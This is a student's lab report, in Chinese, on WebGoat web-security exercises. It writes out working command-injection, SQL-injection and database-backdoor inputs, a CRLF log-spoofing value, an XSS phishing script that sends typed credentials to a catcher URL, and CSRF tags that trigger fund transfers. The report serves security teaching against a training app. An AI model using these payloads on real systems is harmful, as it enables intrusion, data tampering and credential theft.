2019-2020-2 20175105王鑫浩《网络对抗技术》Exp9 Web安全基础
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp9 Web安全基础
一、基础知识
- SQL注入
- 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
- 就是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
- XSS攻击
- 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
- XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。
- CSRF攻击
- Cross Site Request Forgery跨站请求伪造
- CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证。只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
- 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。
二、实验步骤
(一)安装WebGoat
下载Jar包webgoat-container-7.0.1-war-exec.jar
使用java -jar webgoat-container-7.0.1-war-exec.jar
命令开启WebGoat
打开浏览器,输入localhost:8080/WebGoat
,登录
(二)注入攻击:Injection Flaws
- 命令注入:Command Injection
左侧功能栏选中
Injection Flaws—>Command Injection
,右键点击页面,选择inspect Element审查网页元素对源代码选择Edit At Html进行修改,添加"& netstat -an & ipconfig"
点击view,查看执行指令后的网络端口使用情况和IP地址
- 数字型注入:Numeric SQL Injection
右键点击页面,选择
inspect Element
审查网页元素对
在Value值101
中添加or 1=1,点击Go!
显示所有天气数
- 日志欺骗:Log Spoofing
左侧功能栏选中
Injection Flaws—>Log Spoofing
,在User Name
输入webgoat%0d%0aLogin Succeeded for username: 20175105
;
- 字符串注入:String SQL Injection
输入查询的用户名
mark' or 1=1--
select表里面的所有数据
- LAB: SQL Injection
对源代码
maxlength
进行修改后,输入密码' or 1=1 --
登录
- Database Backdoors(数据库后门)
在用户ID输入两个语句
101; update employee set salary=10000
使用;
分隔
(三)XSS攻击
- XSS 钓鱼:Phishing with XSS
在搜索框输入如下代码
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
在产生的用户名和密码输入框中,输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat
- 存储型XSS攻击:Stored XSS Attacks
在title中输入任意字符,留言板中输入
alert("Stored XSS Attacks,20175105.");
,点击生成的message。
- 反射型XSS攻击:Reflected XSS Attacks
在Enter your three digit access code框中输入
alert("Reflacted XSS Attacks, 20175105");
,点击Purchase
CSRF攻击
- 跨站请求伪造:Cross Site Request Forgery (CSRF)
查看页面右侧Parameters中的src和menu值
在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=1888" width="1" height="1" />
- 绕过 CSRF 确认:CSRF Prompt By‐Pass
在title框中随意输入,message框中输入代码:
<iframe src="attack?Screen=323&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=323&menu=900&transferFunds=CONFIRM"> </iframe>
三、问题回答
1.SQL注入攻击原理,如何防
-
原理:
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
-
防御:
使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
2.XSS攻击的原理,如何防御
-
原理:
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
-
防御:
当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
3.CSRF攻击原理,如何防御
-
原理:
通过伪装来自受信任用户的请求来利用受信任的网站,挟制用户在当前已登录的Web应用程序上执行非本意的操作
-
防御:
对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
另一个可选的方法是“双提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。如果服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。
实验中遇到的问题
-
安装
WebGoat
时,提示无法安装 -
重新配置安装JDK文件
实验体会
本次实验比较简单,而且环境配置基本上全部由WebGoat提供,实验过程中,学习到了各种Web攻击的基本操作方法,感触很深。